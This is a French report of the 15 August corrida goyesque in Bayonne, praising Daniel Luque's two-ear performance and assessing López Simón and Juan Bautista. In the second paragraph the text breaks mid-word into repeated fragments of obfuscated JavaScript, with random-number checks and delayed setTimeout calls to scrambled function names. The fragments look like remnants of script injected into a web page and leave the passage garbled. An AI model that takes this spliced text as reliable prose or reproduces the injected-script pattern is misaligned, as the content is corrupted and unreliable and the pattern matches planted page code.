BAYONNE 15 AOUT : DANIEL LUQUE MAGISTRAL

Par son inventivité, sa créativité, avec le sceau d’une figura consacrée, ainsi fut Daniel Luque devant ses deux toros de Bañuelos. Un lot qui ne fut pas facile, qui posa beaucoup de problèmes, comme on put le constater à la cape avec d’autres toreros, mais le matador de Gerena est au top. Sûr de lui, avec de l’assise, maître du temps, toujours à la distance requise devant chaque toro et se faisant surtout plaisir à chaque passe de cape ou de muleta.

Photos Bruno Lasnier

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Du grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and art, qui n’a rien à envier à celui d’un Morante, même si on le célèbre moins. Un toreo tout en finesse que dégusta le public de Lachepaillet. Il fut récompensé de deux oreilles à son premier après une faena bluffante par son côté imaginatif et il aurait eu un autre trophée si le puntillero avait été plus habile. Devant ce second toro, qui avait tendance à se réfugier dans les planches, il égrena des détails de toreo somptueux, même lorsque son adversaire s’en fut aux planches. Remarquable aussi son engagement au moment de l’estocade.

Concernant le sitio, le don de soi, le courage, López Simón interpella les aficionados, même si ses faenas n’eurent pas le sceau ni la profondeur de celles du torero de Gerena. Son lot ne fut pas non plus le plus propice, mais le madrilène s’évertua à montrer ce qui l’a fait devenir la révélation de l’année. Il coupa une oreille à son premier et s’arrima avec le dernier de la course, le toro le plus sérieux du lot.

Juan Bautista n’a pas triomphé dans des arènes où il le faisait régulièrement. On l’a vu discret et froid. Signalons pour finir que le 15 août redevient une date taurine dans le calendrier français, après quelques années d’interruption le public couvrit près des trois-quarts des arènes pour assister à cette corrida goyesque.

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